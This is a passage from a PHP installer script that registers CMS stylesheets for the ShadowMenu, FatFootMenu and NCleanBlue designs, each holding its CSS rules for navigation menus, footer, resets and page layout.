1.5em;\n}\nul#primary-nav li a:hover {\n/* stops image flicker in some browsers */\n	background: url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\n/* changes text color on hover */\n	color: #899092\n}\nul#primary-nav li li a:hover {\n/* you can set your own image here, second level "a" */\n	background:  url([[root_url]]/uploads/ngrey/darknav.png) repeat-x left center;\n/* contrast color to image behind it */\n	color: #FFF\n}\nul#primary-nav li a.menuactive {\n/* black and bold to set it off from non active */\n	color: #000;\n	font-weight: bold;\n}\nul#primary-nav li ul a {\n/* insure alignment */\n	text-align: left;\n	margin: 0px;\n/* relative to it's container */\n	position: relative;\n/* even padding all 4 sides */\n	padding: 6px;\n/* make sure we keep the font normal */\n	font-weight: normal;\n/* set default link colors from here on */\n	color: #000;\n/* remove any background that may have been set in level above */\n	background: none;\n}\nul#primary-nav li ul {\n/* remove any default bullets */\n	list-style-type: none;\n/* sets width of second level ul to background image */\n	width: 209px;\n	height: auto;\n/* negative margin pulls it over the parent ul */\n	margin: 0px 0px 0px -2px;\n/* top padding gives room for image shadow and pushes li down into image */\n	padding: 10px 0px 0px;\n/* make the ul stay in place so when we hover it lets the drops go over the content instead of displacing it */\n	position: absolute;\n/* keeps the left side of this ul on the right side of the preceding ul */\n	left: 100%;\n/* negative top pulls up so left arrow centered in li next to it */\n	top: -2px;\n	display: none;\n/* set your image here, tall enough for the ul, this is the left arrow for second ul and on */\n	background: url([[root_url]]/uploads/ngrey/ultoprt.png) no-repeat left top;\n}\n/* a lot of the same as above, minor changes */\nul#primary-nav li ul ul {\n	list-style-type: none;\n/* bit more negative left margin */\n	margin: 0px 0px 0px -8px;\n/* you can call a property twice but not a property:'value', this flat lines it */\n	padding: 0px;\n/* now we just change one with 'property'-top:value */\n	padding-top: 10px;\n	position: absolute;\n	width: 209px;\n	height: auto;\n/* negative top pulls up so left arrow centered in li next to it, more on 3rd ul covers default drop increase */\n	top: -5px;\n	left: 100%;\n	display: none;\n/* set your image here */\n	background: url([[root_url]]/uploads/ngrey/ultoprt.png) no-repeat left top;\n}\n* html ul#primary-nav li ul {\n/* gif for IE6, as it can't handle transparent png */\n	background: url([[root_url]]/uploads/ngrey/ultoprt.gif) no-repeat left top;\n}\n* html ul#primary-nav li ul ul {\n/* gif for IE6, as it can't handle transparent png */\n	background: url([[root_url]]/uploads/ngrey/ultoprt.gif) no-repeat left top;\n}\n/* this is a special li type from the menu template, used to hold the bottom image for ul set above */\n#primary-nav ul li.separator, #primary-nav .separator:hover {\n/* set same as ul */\n	width: 209px;\n	padding: 0px;\n/* height of image */\n	height: 9px;\n/* negative margin pulls it down to cover ul image */\n	margin: 0px 0px -9px;\n/* set your image here */\n	background: url([[root_url]]/uploads/ngrey/ulbtmrt.png) no-repeat left bottom;\n}\n/* IE6 'star html' Hack */\n* html #primary-nav  li ul li.separator {\n	height: 2px;\n/* set your image here */\n	background: url([[root_url]]/uploads/ngrey/ulbtmrt.gif) no-repeat left bottom;\n}\n/* Fixes IE7 bug*/\n#primary-nav li, #primary-nav li.menuparent {\n	min-height: 1em;\n}\n/* Styling the basic apperance of the active page elements (shows what page in the menu is being displayed) */\n#primary-nav li li.menuactive a.menuactive {\n/* contrast color to image behind it */\n	color: #FFF;\n/* not bold as text color and image behind it set it off from non active */\n	font-weight: normal;\n/* set your image here, dark grey image with white text set above*/\n	background:  url([[root_url]]/uploads/ngrey/darknav.png) repeat-x left center;\n}\n#primary-nav li.menuparent span {\n/* padding on left for image */\n	padding-left: 1.5em;\n/* down arrow to note it has children, left side of text */\n	background: url([[root_url]]/uploads/ngrey/active.png) no-repeat left center;\n}\n#primary-nav li.menuparent:hover li.menuparent span {\n/* remove left padding as image is on right side of text */\n	padding-left: 0;\n/* right arrow to note it has children, right side of text */\n	background: url([[root_url]]/uploads/ngrey/parent.png) no-repeat right center;\n}\n#primary-nav li.menuparenth li.menuparent span,\n#primary-nav li.menuparenth li.menuparenth span {\n/* same as above but this is for IE6, gif image as it can't handle transparent png */\n	padding-left: 0;\n	background: url([[root_url]]/uploads/ngrey/parent.gif) no-repeat right center;\n}\n#primary-nav li.menuparent:hover span,\n#primary-nav li.menuparent.menuactive span,\n#primary-nav li.menuparent.menuactiveh span,\n#primary-nav li.menuparenth span {\n/* right arrow on hover */\n	background: url([[root_url]]/uploads/ngrey/parent.png) no-repeat left center;\n}\n#primary-nav li li span,\n#primary-nav li.menuparent li span,\n#primary-nav li.menuparent:hover li span,\n#primary-nav li.menuparenth li span,\n#primary-nav li.menuparenth li.menuparenth li span,\n#primary-nav li.menuparent li.menuparent li span,\n#primary-nav li.menuparent li.menuparent:hover li span {\n/* removes any images set above unless it's a parent or active parent */\n	background:  none;\n	padding-left: 0px;\n}\n/* Styling the appearance of menu items on hover */\n#primary-nav li:hover li a,\n#primary-nav li.menuh li a,\n#primary-nav li.menuparenth li a,\n#primary-nav li.menuactiveh li a {\n/* removes any images set above unless it's a parent or active parent */\n	background:  none;\n	color: #000;\n}\n/* The magic - set to work for up to a 3 level menu, but can be increased unlimited, for fourth level add\n#primary-nav li:hover ul ul ul,\n#primary-nav li.menuparenth ul ul ul,\n*/\n#primary-nav ul,\n#primary-nav li:hover ul,\n#primary-nav li:hover ul ul,\n#primary-nav li.menuparenth ul,\n#primary-nav li.menuparenth ul ul {\n	display: none;\n}\n/* for fourth level add\n#primary-nav ul ul ul li:hover ul,\n#primary-nav ul ul ul li.menuparenth ul,\n*/\n#primary-nav li:hover ul,\n#primary-nav ul li:hover ul,\n#primary-nav ul ul li:hover ul,\n#primary-nav li.menuparenth ul,\n#primary-nav ul li.menuparenth ul,\n#primary-nav ul ul li.menuparenth ul {\n	display: block;\n}\n/* IE Hack, will cause the css to not validate */\n#primary-nav li, #primary-nav li.menuparenth {\n	_float: left;\n	_height: 1%;\n}\n#primary-nav li a {\n	_height: 1%;\n}\n/* BIG NOTE: I didn't do anything to these 2, never tested */\n#primary-nav li.sectionheader {\n	border-left: 1px solid #006699;\n	border-top: 1px solid #006699;\n	font-size: 130%;\n	font-weight: bold;\n	padding: 1.5em 0 0.8em 0.5em;\n	background-color: #fff;\n	margin: 0;\n	width: 100%;\n}\n/* separator */\n#primary-nav li hr.separator {\n	display: block;\n	height: 0.5em;\n	color: #abb0b6;\n	background-color: #abb0b6;\n	width: 100%;\n	border: 0;\n	margin: 0;\n	padding: 0;\n	border-top: 1px solid #006699;\n	border-right: 1px solid #006699;\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Navigation ShadowMenu - Vertical');
$css->set_description('Navigation CSS rules used in ShadowMenu left + 1 column Design');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
#footer ul {\n/* some margin is set in the footer padding */\n   margin: 0px;\n/* calling a specific side, left in this case */\n   margin-left: 5px;\n   padding: 0px;\n/* remove any default bullets, image used in li call */\n   list-style: none;\n}\n#footer ul li {\n/* remove any default bullets, image used for consistency */\n   list-style: none;\n/* float left to set first level li items across the top */\n   float:left;\n/* a little margin at top */\n   margin: 5px 0px 0px;\n/* padding all the way around */\n   padding: 5px;\n/* you can set your own image here, used for consistency */\n   background: url([[root_url]]/uploads/ngrey/dot.gif) no-repeat left 10px;\n}\n#footer ul li a {\n/* this will make the "a" link a solid shape */\n   display:block;\n   margin: 2px 0px 4px;\n   padding: 0px 5px 5px 5px;\n}\n/* set h3 to look like "a" */\n#footer li h3 {\n   font-weight:normal;\n   font-size:100%;\n   margin: 2px 0px 2px 0px;\n   padding: 0px 5px 5px 5px;\n}\n/* set h3 to look like "a", less margin at this level */\n#footer li li h3 {\n   font-weight:normal;\n   font-size:100%;\n   margin: 0px;\n   padding: 0px 5px 5px 5px;\n}\n#footer ul li li {\n/* remove any default bullets, image used for consistency */\n   list-style: none;\n/* remove float so they line up under top li */\n   float:none;\n/* less margin/padding */\n   margin: 0px;\n   padding: 0px 0px 0px 5px;\n/* you can set your own image here, used for consistency */\n   background: url([[root_url]]/uploads/ngrey/dot.gif) no-repeat left 3px;\n}\n/* fix for IE6 */\n* html #footer ul li a {\n   margin: 2px 0px 0px;\n   padding: 0px 5px 5px 5px;\n}\n* html #footer ul li li a {\n   margin: 0px 0px 0px;\n   padding: 0px 5px 0px 5px;\n}\n/* End fix for IE6 */\n#footer ul ul {\n/* remove float so they line up under top li */\n   float:none;\n/* a little margin to offset it */\n   margin: 0px 0px 0px 8px;\n   padding: 0;\n}\n#footer ul ul ul {\n/* remove float so they line up under li above it */\n   float:none;\n/* a little margin to offset it */\n   margin: 0px 0px 0px 8px;\n   padding: 0;\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Navigation FatFootMenu');
$css->set_description('Footer navigation CSS rules used in CSSMenu left + 1 column, CSSMenu top + 2 columns, Left simple navigation + 1 column, ShadowMenu left + 1 column, ShadowMenu Tab + 2 columns and Top simple navigation + left subnavigation + 1 column');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/*\n  @Nuno Costa [criacaoweb.net] Core CSS.\n  @Licensed under GPL and MIT.\n  @Status: Stable\n  @Version: 0.1-20090418\n  \n  @Contributors:\n  \n  --------------------------------------------------------------- \n*/\n/*----------- Global Containers ----------- */\n/* \n.core-wrap-100   =  width - 100% of Browser Fluid\n.core-wrap-960   =  width - 960px  - fixed\n.core-wrap-780   =  width - 780px  - fixed\n.custom-wrap-x   =  width -  custom   - declared in another css (your site css)\n*/\n.core-wrap-100 {\n	width: 100%;\n}\n.core-wrap-960 {\n	width: 960px;\n}\n.core-wrap-780 {\n	width: 780px;\n}\n.core-wrap-100,\n.core-wrap-960,\n.core-wrap-780,\n.custom-wrap-x {\n	margin-left: auto;\n	margin-right: auto;\n}\n/*----------- Global Float ----------- */\n.core-wrap-100  .core-float-left,\n.core-wrap-960  .core-float-left,\n.core-wrap-780  .core-float-left,\n.custom-wrap-x  .core-float-left {\n	float: left;\n	display: inline;\n}\n.core-wrap-100  .core-float-right,\n.core-wrap-960  .core-float-right,\n.core-wrap-780  .core-float-right,\n.custom-wrap-x  .core-float-right {\n	float: right;\n	display: inline;\n}\n/*----------- Global Center ----------- */\n.core-wrap-100   .core-center,\n.core-wrap-960   .core-center,\n.core-wrap-780   .core-center,\n.custom-wrap-x   .core-center {\n	margin-left: auto;\n	margin-right: auto;\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('ncleanbluecore');
$css->set_description('Grid CSS rules used in NCleanBlue Design');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/*\n  @Nuno Costa [criacaoweb.net] Utils CSS.\n  @Licensed under GPL2 and MIT.\n  @Status: Stable\n  @Version: 0.1-20090418\n  \n  @Contributors:\n        -  http://meyerweb.com/eric/tools/css/reset/index.html \n  \n  --------------------------------------------------------------- \n*/\n/* From: http://meyerweb.com/eric/tools/css/reset/index.html  (Original) */\n/* v1.0 | 20080212 */\nhtml, body, div, span, applet, object, iframe,\nh1, h2, h3, h4, h5, h6, p, blockquote, pre,\na, abbr, acronym, address, big, cite, code,\ndel, dfn, em, font, img, ins, kbd, q, s, samp,\nsmall, strike, strong, sub, sup, tt, var,\nb, u, i, center,\ndl, dt, dd, ol, ul, li,\nfieldset, form, label, legend,\ntable, caption, tbody, tfoot, thead, tr, th, td {\n	margin: 0;\n	padding: 0;\n	border: 0;\n	outline: 0;\n	font-size: 100%;\n	vertical-align: baseline;\n	background: transparent;\n}\n/*\nStantby for nowbody {\n	line-height: 1;\n}\n*/\nol, ul {\n	list-style: none;\n}\nblockquote, q {\n	quotes: none;\n}\nblockquote:before,\nblockquote:after,\nq:before, q:after {\n	content: '';\n	content: none;\n}\n/* remember to define focus styles! */\n:focus {\n	outline: 0;\n}\n/* remember to highlight inserts somehow! */\nins {\n	text-decoration: none;\n}\ndel {\n	text-decoration: line-through;\n}\n/* tables still need 'cellspacing="0"' in the markup */\ntable {\n	border-collapse: collapse;\n	border-spacing: 0;\n}\n/* ------- @Nuno Costa [criacaoweb.net] Utils CSS. ---------- */\n* {\n	font-weight: inherit;\n	font-style: inherit;\n	font-family: inherit;\n}\ndfn {\n	display: none;\n	overflow: hidden;\n}\n/* ----------- Clear Floated Elements ----------- */\nhtml body .util-clearb {\n	background: none;\n	border: 0;\n	clear: both;\n	display: block;\n	float: none;\n	font-size: 0;\n	margin: 0;\n	padding: 0;\n	position: static;\n	overflow: hidden;\n	visibility: hidden;\n	width: 0;\n	height: 0;\n}\n/* ----------- Fix to Clear Floated Elements ----------- */\n.util-clearfix:after {\n	clear: both;\n	content: '.';\n	display: block;\n	visibility: hidden;\n	height: 0;\n}\n.util-clearfix {\n	display: inline-block;\n}\n* html .util-clearfix {\n	height: 1%;\n}\n.util-clearfix {\n	display: block;\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('ncleanblueutils');
$css->set_description('Reset and browser helper CSS style rules used in NCleanBlue Design');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/*  \n@Nuno Costa [criacaoweb.net]\n@Since [cmsms 1.6]\n@Contributors: Mark and Dev-Team\n*/\nbody {\n/* default text for entire site */\n	font: normal 0.8em Tahoma, Verdana, Arial, Helvetica, sans-serif;\n/* default text color for entire site */\n	color: #3A3A36;\n/* you can set your own image and background color here */\n	background: #fff url([[root_url]]/uploads/NCleanBlue/bg__full.png) repeat-x scroll left top;\n}\n/* Mask helper  for browsers ZOOM, Rezise and Decrease */\n#ncleanblue {\n/* set to width of viewport */\n	width: auto;\n/* you can set your own image and background color here */\n	background: #fff url([[root_url]]/uploads/NCleanBlue/bg__full.png) repeat-x scroll left top;\n}\n/* wiki style external links */\n/* external links will have "(external link)" text added, lets hide it */\na.external span {\n	position: absolute;\n	left: -5000px;\n	width: 4000px;\n}\na.external {\n/* make some room for the image, css shorthand rules, read: first top padding 0 then right padding 12px then bottom then right */\n	padding: 0 12px 0 0;\n}\n/* colors for external links */\na.external:link {\n	color: #679EBC;\n/* background image for the link to show wiki style arrow */\n	background: url([[root_url]]/uploads/NCleanBlue/external.gif) no-repeat 100% -100px;\n}\na.external:visited {\n	color: #18507C;\n/* a different color can be used for visited external links */\n/* Set the last 0 to -100px to use that part of the external.gif image for different color for active links external.gif is actually 300px tall, we can use different positions of the image to simulate rollover image changes.*/\n	background: url([[root_url]]/uploads/NCleanBlue/external.gif) no-repeat 100% -100px;\n}\na.external:hover {\n	color: #18507C;\n/* Set the last 0 to -200px to use that part of the external.gif image for different color on hover */\n	background: url([[root_url]]/uploads/NCleanBlue/external.gif) no-repeat 100% 0;\n	background-color: inherit;\n}\n/* end wiki style external links */\n/* hr and anything with the class of accessibility is hidden with CSS from visual browsers */\n.accessibility, hr {\n/* absolute lets us put it outside the viewport with the indents, the rest is to clear all defaults */\n	position: absolute;\n	top: -9999em;\n	left: -9999em;\n	background: none;\n	border: 0;\n	clear: both;\n	display: block;\n	float: none;\n	font-size: 0;\n	margin: 0;\n	padding: 0;\n	overflow: hidden;\n	visibility: hidden;\n	width: 0;\n	height: 0;\n	border: none;\n}\n/* ------------ Standard  HTML elements and their default settings ------------ */\nb, strong{font-weight: bold;}i, em{	font-style: italic;}\np {\n	padding: 0;\n	margin-top: 0.5em;\n    margin-bottom: 1em;\n   text-align:left;\n}\nh1, h2, h3, h4, h5 {\n	line-height: 1.6em;\n	font-weight: normal;\n	width: auto;\n	font-family: "Trebuchet MS", Arial, Helvetica, sans-serif;\n}\n/*default link styles*/\na {\n	color: #679EBC;\n	text-decoration: none;\n	text-align: left;\n}\na:hover {\n	color: #3A6B85;\n}\na:active {\n	color: #3A6B85;\n}\na:visited {\n	color: #679EBC;\n}\ninput, textarea, select {\n	font-size: 0.95em;\n}\n/* ------------ Wrapper ------------ */\ndiv#pagewrapper {\n	font-size: 95%;\n	position: relative;\n	z-index: 1;\n}\n/* ------------ Header ------------ */\n#header {\n	height: 111px;\n	width: 960px;\n}\n#logo a {\n/* adjust according your image size */\n	height: 75px;\n	width: 215px;\n/* forces full link size */\n	display: block;\n/* this hides the text */\n	text-indent: -9999em;\n	margin-top: 0;\n	margin-left: 0;\n/* you can set your own image here, note size adjustments */\n	background: url([[root_url]]/uploads/NCleanBlue/logo.png) no-repeat left top;\n}\n/* ------------ Header - Search ------------ */\ndiv#search {\n	width: 190px;\n	height: 28px;\n	margin-top: 31px;\n	margin-right: 20px;\n}\ndiv#search label {\n	text-indent: -9999em;\n	height: 0pt;\n	width: 0pt;\n	display: none;\n}\ndiv#search input.search-input {\n/* specific size for image, your image may need these adjusted */\n	width: 143px;\n	height: 17px;\n/* removes default borders, allows use of image */\n	border-style: none;\n/* text color */\n	color: #999;\n/* padding of text */\n	padding: 7px 0px 4px 10px;\n	float: left;\n/* set all font properties at once, weight, size, family */\n	font: bold 0.9em Arial, Helvetica, sans-serif;\n/* left input image, set your own here */\n	background: url([[root_url]]/uploads/NCleanBlue/search.png) no-repeat left top;\n}\ndiv#search input.search-button {\n/* specific size for image, your image may need these adjusted */\n	width: 37px;\n	height: 28px;\n/* removes default borders, allows use of image */\n	border-style: none;\n/* hides text, image has text */\n	text-indent: -9999em;\n	float: left;\n	margin: 0;\n/* provides positive hover effect */\n	cursor: pointer;\n/* removes default size/height */\n	font-size: 0px;\n	line-height: 0px;\n/* submit button image, set your own here */\n	background: transparent url([[root_url]]/uploads/NCleanBlue/search.png) no-repeat right top;\n}\n/* ------------ Content ------------ */\n#content {\n	width: auto;\n/* all text in #content will default align left, changed in other calls */\n	text-align: left;\n}\n#bar {\n	width: auto;\n	height: 40px;\n	padding-right: 1em;\n	padding-left: 1em;\n}\n.print {\n	margin-right: 75px;\n	margin-top: 10px;\n}\n#version {\n	width: 50px;\n	height: 31px;\n	position: absolute;\n	z-index: 5;\n	top: 130px;\n	right: -16px;\n	font-size: 1.6em;\n	font-weight: bold;\n	padding: 28px 15px;\n	color: #FFF;\n	text-align: center;\n	vertical-align: middle;\n	background:  url([[root_url]]/uploads/NCleanBlue/version.png) no-repeat left top;\n}\n/* IE6 fixes */\n* html div#version {\n	top: 150px;\n}\n/* End IE6 fixes */\n/* Site Title */\nh1.title {\n	font-size: 1.8em;\n	color: #666666;\n	margin-bottom: 0.5em;\n}\n/* Breadcrumbs */\ndiv.breadcrumbs {\n	padding: 0.5em 0;\n	font-size: 80%;\n	margin: 0 1em;\n}\ndiv.breadcrumbs span.lastitem {\n	font-weight: bold;\n}\n/* ------------ Side Bar (Left) ------------ */\n#left {\n	width: 250px;\n}\n/* Image that Represents the new CMS design */\n#left .screen {\n	margin: 10px 50px;\n}\n/* End  */\n.sbar-title {\n	font: bold 1.2em Arial, Helvetica, sans-serif;\n	color: #252523;\n}\n.sbar-top {\n	height: 20px;\n	width: auto;\n	padding: 10px;\n	background: url([[root_url]]/uploads/NCleanBlue/bg__content.png) no-repeat left top;\n}\n.sbar-main {\n	width: auto;\n	border-right: 1px solid #E2E2E2;\n	border-left: 1px solid #E2E2E2;\n	background: #F0F0F0;\n}\nspan.sbar-bottom {\n	width: auto;\n	display: block;\n	height: 10px;\n	background: url([[root_url]]/uploads/NCleanBlue/bg__content.png) no-repeat left bottom;\n}\n/* ------------ Main (Right) ------------ */\n#main {\n	width: 690px;\n}\n.main-top {\n	height: 15px;\n	width: auto;\n	background: url([[root_url]]/uploads/NCleanBlue/bg__content.png) no-repeat right top;\n}\n.main-main {\n	width: auto;\n	border-right: 1px solid #E2E2E2;\n	border-left: 1px solid #E2E2E2;\n	background: #F0F0F0;\n	padding: 20px;\n	padding-top: 0px;\n}\n.main-bottom {\n	width: auto;\n	height: 41px;\n	background: url([[root_url]]/uploads/NCleanBlue/bg__content.png) no-repeat right bottom;\n}\n.right49, .left49 {\n	font-size: 0.85em;\n	margin: 7px 5px 5px 10px;\n	font-weight: bold;\n}\n.left49 span {\n	display: block;\n	padding-top: 1px;\n}\n.left49 a {\n	font-weight: normal;\n}\n.right49 {\n	height: 28px;\n	width: 50px;\n	padding-right: 10px;\n	background: url([[root_url]]/uploads/NCleanBlue/bull.png) no-repeat right top;\n}\n.right49 a, .right49 a:visited {\n	padding: 7px 4px;\n	display: block;\n	color: #000;\n	height: 15px;\n	background: url([[root_url]]/uploads/NCleanBlue/bull.png) no-repeat  left top;\n}\n#main h2,\n#main h3,\n#main h4,\n#main h5,\n#main h6 {\n	font-size: 1.4em;\n	color: #301E12;\n}\ndiv#main ul,\ndiv#main ol,\ndiv#main dl,\n#footer ul,\n#footer ol {\n	line-height: 1em;\n	margin: 0 0 1.5em 0;\n}\ndiv#main ul,\n#footer ul {\n	list-style: circle;\n}\ndiv#main ul li,\ndiv#main ol li,\n#footer ul li,\n#footer ol li {\n	padding: 2px 2px 2px 5px;\n	margin-left: 20px;\n}\n/* definition lists topics on bold */\ndiv#main dl dt {\n	font-weight: bold;\n	margin: 0 0 0 1em;\n}\ndiv#main dl dd {\n	margin: 0 0 1em 1em;\n}\ndiv#main dl {\n	margin-bottom: 2em;\n	padding-bottom: 1em;\n	border-bottom: 1px solid #c0c0c0;\n}\n/* ------------ Footer ------------ */\n#footer-wrapper {\n	min-height: 235px;\n	height: auto!important;\n	height: 235px;\n	width: auto;\n	margin-top: 5px;\n	text-align: center;\n	margin-right: 00px;\n	margin-left: 0px;\n	background: #7CA3B5 url([[root_url]]/uploads/NCleanBlue/bg__footer.png) repeat-x left top;\n}\n#footer {\n	color: #FFF;\n	font-size: 0.8em;\n	min-height: 235px;\n	height: auto!important;\n	height: 235px;\n	background: #7CA3B5 url([[root_url]]/uploads/NCleanBlue/bg__footer.png) repeat-x left top;\n}\n#footer .block {\n	width: 300px;\n	margin: 20px 10px 10px;\n}\n#footer .cms {\n	text-align: right;\n}\n/* ------------ Footer Links ------------ */\n#footer ul {\n	width: auto;\n	text-align: left;\n	margin-left: 50px;\n}\n#footer ul ul {\n	margin-left: 0px;\n}\n#footer ul li a {\n	color: #FFF;\n	display: block;\n	font-weight: normal;\n	margin-bottom: 0.5em;\n	text-decoration: none;\n}\n#footer a {\n	color: #DCEDF1;\n	text-decoration: underline;\n	font-weight: bold;\n}\n/* ------------ END LAYOUT ---------------*/\n/* ------------  Menu  ROOT  ------------ */\n.page-menu {\n	width: auto;\n	height: 35px;\n	margin: 3px 0 0 20px;\n}\n.menuwrapper {}\n\nul#primary-nav li hr.menu_separator{\n        position: relative;\n        visibility: hidden;\n        display:block;\n        width:5px;\n       	height: 32px;\n       	margin: 0px 5px 0px;\n}\n.page-menu ul#primary-nav {\n	height: 1%;\n	float: left;\n	list-style: none;\n	padding: 0;\n	margin: 0;\n}\n.page-menu ul#primary-nav li {\n	float: left;\n}\n.page-menu ul#primary-nav li a,\n.page-menu ul#primary-nav li a span {\n	display: block;\n	padding: 0 10px;\n	background-repeat: no-repeat;\n	background-image: url([[root_url]]/uploads/NCleanBlue/tabs.gif);\n}\n.page-menu ul#primary-nav li a {\n	padding-left: 0;\n	color: #000;\n	font-weight: bold;\n	line-height: 2.15em;\n	text-decoration: none;\n	margin-left: 1px;\n	font-size: 0.85em;\n}\n.page-menu ul#primary-nav li a:hover,\n.page-menu ul#primary-nav li a:active {\n	color: #000;\n}\n.page-menu ul#primary-nav li a.menuactive,\n.page-menu ul#primary-nav li a:hover span {\n	color: #000;\n}\n.page-menu ul#primary-nav li a span {\n	padding-top: 6px;\n	padding-right: 0;\n	padding-bottom: 5px;\n}\n.page-menu ul#primary-nav li a.menuparenth,\n.page-menu ul#primary-nav li a.menuactive,\n.page-menu ul#primary-nav li a:hover,\n.page-menu ul#primary-nav li a:focus,\n.page-menu ul#primary-nav li a:active {\n	background-position: 100% -120px;\n}\n.page-menu ul#primary-nav li a {\n	background-position: 100% -80px;\n}\n.page-menu ul#primary-nav li a.menuactive span,\n.page-menu ul#primary-nav li a:hover span,\n.page-menu ul#primary-nav li a:focus span,\n.page-menu ul#primary-nav li a:active span {\n	background-position: 0 -40px;\n}\n.page-menu ul#primary-nav li a span {\n	background-position: 0 0;\n}\n.page-menu ul#primary-nav .sectionheader,\n.page-menu ul#primary-nav li a:link.menuactive,\n.page-menu ul#primary-nav li a:visited.menuactive {\n/* @ Opera, use pseudo classes otherwise it confuses cursor... */\n	cursor: text;\n}\n.page-menu ul#primary-nav li span,\n.page-menu ul#primary-nav li a,\n.page-menu ul#primary-nav li a:hover,\n.page-menu ul#primary-nav li a:focus,\n.page-menu ul#primary-nav li a:active {\n/* @ Opera, we need to be explicit again here now... */\n	cursor: pointer;\n}\n/* Additional IE specific bug fixes... */\n* html .page-menu ul#primary-nav {\n	display: inline-block;\n}\n*:first-child+html .page-menu ul#primary-nav {\n	display: inline-block;\n}\n/* --------------------  menu dropdow  -------------------------\n/* Unless you know what you do, do not touch this */\n/* Reset all ROOT menu styles. */\nul#primary-nav ul.unli li li a span,\nul#primary-nav ul.unli li a span,\nul#primary-nav .menuparent .unli .menuparent .unli li a span {\n	font-weight: normal;\n	background-image: none;\n	display: block;\n	padding-top: 0px;\n	padding-left: 0px;\n	padding-right: 0px;\n	padding-bottom: 0px;\n}\n#primary-nav {\n	margin: 0px;\n	padding: 0px;\n}\n#primary-nav ul {\n	list-style: none;\n	margin: -6px 0px 0px;\n	padding: 0px;\n/* Set the width of the menu elements at second level. Leaving first level flexible. */\n	width: 209px;\n}\n#primary-nav ul {\n	position: absolute;\n	z-index: 1001;\n	top: auto;\n	display: none;\n	padding-top: 9px;\n	background: url([[root_url]]/uploads/NCleanBlue/ultop.png) no-repeat left top;\n}\n* html #primary-nav ul.unli {\n	padding-top: 12px;\n	background: url([[root_url]]/uploads/NCleanBlue/ultop.gif) no-repeat left top;\n}\n#primary-nav ul.unli ul {\n	margin-left: -7px;\n	left: 100%;\n	top: 3px;\n}\n* html #primary-nav ul.unli ul {\n	margin-left: -0px;\n}\n#primary-nav li {\n	margin: 0px;\n	float: left;\n}\n#primary-nav li li {\n	margin-left: 7px;\n	margin-top: -1px;\n	float: none;\n	position: relative;\n}\n/* Styling the basic appearance of the menu elements */\nul#primary-nav ul hr.menu_separator{\n        position: relative;\n        visibility: visible;\n        display:block;\n        width:130px;\n       	height: 1px;\n       	margin: 2px 30px 2px;\n	padding: 0em;\n	border-bottom: 1px solid #ccc;\n	border-top-width: 0px;\n	border-right-width: 0px;\n	border-left-width: 0px;\n	border-top-style: none;\n	border-right-style: none;\n	border-left-style: none;\n}\n#primary-nav .separator,\n#primary-nav .separatorh {\n	height: 9px;\n	width: 209px;\n	margin: 0px 0px -8px;\n	background: url([[root_url]]/uploads/NCleanBlue/ulbtm.png) no-repeat left bottom;\n}\n* html #primary-nav .separator {\n       z-index:-1;\n	background: url([[root_url]]/uploads/NCleanBlue/ulbtm.gif) no-repeat left bottom;\n}\n*:first-child+html #primary-nav .separator {\n       z-index:-1;\n}\n#primary-nav ul.unli li a {\n	padding: 0px 10px;\n	width: 165px;\n	margin: 5px;\n	background-image: none;\n}\n* html #primary-nav ul.unli li a {\n	padding: 0px 10px 0px 5px;\n	width: 165px;\n	margin: 5px 0px;\n}\n#primary-nav li li a:hover {\n	background-color: #DBE7F2;\n}\n/* Styling the basic appearance of the active page elements (shows what page in the menu is being displayed) */\n#primary-nav li.menuactive li a {\n	text-decoration: none;\n	background: none;\n}\n#primary-nav ul.unli li.menuparenth,\n#primary-nav ul.unli a:hover,\n#primary-nav ul.unli a.menuactive {\n	background-color: #DBE7F2;\n}\n/* Styling the basic apperance of the menuparents - here styled the same on hover (fixes IE bug) */\n#primary-nav ul.unli li .menuparent,\n#primary-nav ul.unli li .menuparent:hover,\n#primary-nav ul.unli li .menuparent,\n#primary-nav .menuactive.menuparent .unli .menuactive.menuparent .menuactive.menuparent {\n	background-image: url([[root_url]]/uploads/NCleanBlue/arrow.gif);\n	background-position: center right;\n	background-repeat: no-repeat;\n}\n/* The magic - set to work for up to a 3 level menu, but can be increased unlimited */\n#primary-nav ul,\n#primary-nav li:hover ul,\n#primary-nav li:hover ul ul,\n#primary-nav li:hover ul ul ul,\n#primary-nav li.menuparenth ul,\n#primary-nav li.menuparenth ul ul,\n#primary-nav li.menuparenth ul ul ul {\n	display: none;\n}\n#primary-nav li:hover ul,\n#primary-nav ul li:hover ul,\n#primary-nav ul ul li:hover ul,\n#primary-nav ul ul ul li:hover ul,\n#primary-nav li.menuparenth ul,\n#primary-nav ul li.menuparenth ul,\n#primary-nav ul ul li.menuparenth ul,\n#primary-nav ul ul ul li.menuparenth ul {\n	display: block;\n}\n/* IE Hacks */\n#primary-nav li li {\n	float: left;\n	clear: both;\n}\n#primary-nav li li a {\n	height: 1%;\n}\n/*************** End Menu *****************/\n/* ------------ News Module ------------ */\n#news {\n	padding: 10px;\n}\n.NewsSummary {\n}\n.NewsSummaryPostdate,\n.NewsSummaryCategory,\n.NewsSummaryAuthor {\n	font-style: italic;\n	font-size: 0.8em;\n}\n.NewsSummaryLink {\n	margin: 2px 0;\n}\n.NewsSummaryContent {\n	margin: 10px 0;\n}\n.NewsSummaryMorelink {\n	margin: 5px 0 15px;\n}\n/* ------------ End News Module ------------ */
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Layout NCleanBlue'); // id = 49
$css->set_description('Main layout rules used in NCleanBlue Design');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
